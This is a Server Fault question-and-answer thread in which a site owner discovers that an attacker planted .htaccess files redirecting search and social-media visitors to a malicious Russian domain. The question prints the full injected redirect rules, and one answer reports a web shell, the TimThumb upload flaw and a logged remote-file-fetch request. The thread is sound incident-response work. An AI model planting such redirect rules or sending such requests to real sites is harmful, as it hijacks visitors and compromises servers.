Take the 2-minute tour ×
Server Fault is a question and answer site for professional system and network administrators. It's 100% free, no registration required.

Possible Duplicate:
My server's been hacked EMERGENCY

So I am very panicked.

I have a Rails application I am building hosted on a VPS for a staging environment. I configured it earlier in the month and everything was working fine (specifically with capistrano deployment). Today I deployed the latest dev code to the web server and went to test it. I hit the URL (http://openstudyr.ashleyangell.com) and noticed that it was doing strange lookups to 'http://guide-securesoft.ru/fliht/index.php?1314066061' which I have never heard-of before, and that clicking on any of my links is also (eventually redirecting to the same/similar URL).

I'm not adept at Linux, but I am smart enough to ensure that all my SSH is done with key authentication, I never run as root and the root password is a alphanumerical string of about 24 characters in length.

I checked my Apache configuration for the virtual host, but its exactly as I had left it.

I feel like my heart is about to shoot out my chest and explode. I'm not sure what to do, or what to check next.

I tried Googling the domain to see of similar problems, but nothing obvious came up.

Can any please help? How can I a) verify if I've been compromised or not and b) fix the problem and stop it from happening (which I know can't really be answered until a has been).

:(

UPDATE #1:

It seems like all my URLs are performing automatic redirects when they execute from the browser, but if I hit the URLS directly, they work just fine. Weird.

UPDATE #2:

Its also the parent domain http://ashleyangell.com (my personal blog) which is having the same problem. However, all the other virtual hosts seem unaffected.

UPDATE #3:

I tested on other machines. They are all doing the same behavior which makes me think that its not isolated to my development machine or internet connection. (yeah?)

UPDATE #4:

I ran sudo grep -ri -l "guide-securesoft" /var and all the .htaccess files for the server matched! So I picked the domain in question and ran cat /var/www/vhosts/openstudyr.ashleyangell.com/.htaccess and this is what I got (I cleaned it up to make it readable):

ErrorDocument 400 http://guide-securesoft.ru/fliht/index.php                                                    
ErrorDocument 401 http://guide-securesoft.ru/fliht/index.php                                                    
ErrorDocument 403 http://guide-securesoft.ru/fliht/index.php                                                    
ErrorDocument 404 http://guide-securesoft.ru/fliht/index.php                                                    
ErrorDocument 500 http://guide-securesoft.ru/fliht/index.php                                                    
<IfModule mod_rewrite.c>                                                                        
RewriteEngine On                                                                            
RewriteCond %{HTTP_REFERER} .*google.* [OR]                                                         
RewriteCond %{HTTP_REFERER} .*ask.* [OR]                                                                
RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]                                                          
RewriteCond %{HTTP_REFERER} .*baidu.* [OR]                                                          
RewriteCond %{HTTP_REFERER} .*youtube.* [OR]                                                            
RewriteCond %{HTTP_REFERER} .*wikipedia.* [OR]                                                          
RewriteCond %{HTTP_REFERER} .*qq.* [OR]                                                             
RewriteCond %{HTTP_REFERER} .*excite.* [OR]                                                         
RewriteCond %{HTTP_REFERER} .*altavista.* [OR]                                                          
RewriteCond %{HTTP_REFERER} .*msn.* [OR]                                                                
RewriteCond %{HTTP_REFERER} .*netscape.* [OR]                                                   
RewriteCond %{HTTP_REFERER} .*aol.* [OR]                                                                
RewriteCond %{HTTP_REFERER} .*hotbot.* [OR]                                                         
RewriteCond %{HTTP_REFERER} .*goto.* [OR]                                                           
RewriteCond %{HTTP_REFERER} .*infoseek.* [OR]                                                           
RewriteCond %{HTTP_REFERER} .*mamma.* [OR]                                                          
RewriteCond %{HTTP_REFERER} .*alltheweb.* [OR]                                                          
RewriteCond %{HTTP_REFERER} .*lycos.* [OR]                                                          
RewriteCond %{HTTP_REFERER} .*search.* [OR]                                                         
RewriteCond %{HTTP_REFERER} .*metacrawler.* [OR]                                                            
RewriteCond %{HTTP_REFERER} .*bing.* [OR]                                                           
RewriteCond %{HTTP_REFERER} .*dogpile.* [OR]                                                            
RewriteCond %{HTTP_REFERER} .*facebook.* [OR]                                                           
RewriteCond %{HTTP_REFERER} .*twitter.* [OR]                                                            
RewriteCond %{HTTP_REFERER} .*blog.* [OR]                                                           
RewriteCond %{HTTP_REFERER} .*live.* [OR]                                                           
RewriteCond %{HTTP_REFERER} .*myspace.* [OR]                                                            
RewriteCond %{HTTP_REFERER} .*mail.* [OR]                                                           
RewriteCond %{HTTP_REFERER} .*yandex.* [OR]                                                         
RewriteCond %{HTTP_REFERER} .*rambler.* [OR]                                                            
RewriteCond %{HTTP_REFERER} .*ya.* [OR]                                                             
RewriteCond %{HTTP_REFERER} .*aport.* [OR]                                                          
RewriteCond %{HTTP_REFERER} .*linkedin.* [OR]                                                           
RewriteCond %{HTTP_REFERER} .*flickr.*                                                              
RewriteRule ^(.*)$ http://guide-securesoft.ru/fliht/index.php [R=301,L]                                             
</IfModule>

...so at least now I KNOW how they're doing it - but how can I stop it happening again?

share|improve this question
add comment

marked as duplicate by EEAA, John Gardeniers, womble, Ward, Ben Pilbrow Aug 24 '11 at 11:48

This question has been asked before and already has an answer. If those answers do not fully address your question, please ask a new question.

2 Answers

Looks like everything under /wp-content/ is throwing a 301 redirect. Look there for what is likely a malicious .htaccess file - may be a breached account or a vulnerability in WordPress allowing upload (make sure your WP is fully up to date).

Beyond that - depending on the attack vector, there may be more aspects of the system compromised; the conventional wisdom is to nuke the system, restoring to a backup from before the compromise. The breach may be limited to just what they were able to do to /wp-content/, and if you don't have a good backup restoration option then cleaning that up may be enough, but unless you can determine the source of the breach, you may not have cleaned it all up.

See here for some great discussion and answers on what to do next - good luck!

share|improve this answer
    
Your absolutely right - see what I found above. I was extremely worried about having to he nuke the system. I am really angry about this...after all, the worpress was using a non-privileged account. Does this mean that MySQL is possibly compromised too? This is so sad. So frustrating. I feel a little 'dead' inside. :( I've been so careful. –  Ash Aug 23 '11 at 3:44
    
@Ash - I feel your pain, but, now you'll be much more the wiser once you find out what happened and how it happened. And from the sounds if it, if it's just a .htaccess exploit, that's not too bad. One of my sites was once replaced with horribly graphic violent images (the kind I still sometimes see when I close my eyes). –  Mark Henderson Aug 23 '11 at 3:58
    
@Ash The extent of the damage really depends on how it happened - since they only pushed up some .htaccess files, my hunch would be that they didn't have root (or they'd probably lace all kinds of obfuscated code in every .php file they could find). If you've got Apache access logs going back far enough, see if you can find uploads that shouldn't be there - if my guess is right, they'll have uploaded the files via the web server and that can give you a good list of what they messed with. –  Shane Madden Aug 23 '11 at 4:01
add comment

We just had the same thing happen to our wordpress install; thanks for the pointers. Someone here noticed 404ing .php pages redirecting to http://securesoft-trip.ru/attention/index.php?rf= or similar, and I found the offending .htaccess file using a "find / wordpress_dir/ -exec grep "securesoft" {} /dev/null\;". Which had been modified recently.

Doing a search for things modified in my wordpress in the past few days (find wordpress_dir/ -mtime -3), found "script_new3.php" (class PHPMailer) and "wp.php" (# Web Shell by oRb) in the root of one of our themes.

I've got access_logs stretching back a long way so had a look around the time those files were made, and by what IP. There was a link between the IP the first time wp.php appeared "216.246.79.192 - "GET themes/*/wp.php HTTP/1.0" 200 31311"" and a POST request to "thumb.php" in the theme 1 second before. (There were a bunch of spam searches from a few weeks back searching for "timthumb.php" and "thumb.php" also)

After a bit of a look around I found this flaw that allowed file upload, http://www.websitedefender.com/web-security/timthumb-vulnerability-wordpress-plugins-themes/ Which apparently we had a bad version of in a couple of our old WooThemes. I saw a "GET /*/thumb.php?src=http://bloggeracom.cu.cc/1.php HTTP/1.1" 400 117 that could've done it.

Here's some IPs to look for, that did POST/GET to either of the files mentioned (216.246.79.192 - proxy, 92.63.104.30, 94.45.130.238, 91.193.165.188).

share|improve this answer
add comment

Not the answer you're looking for? Browse other questions tagged or ask your own question.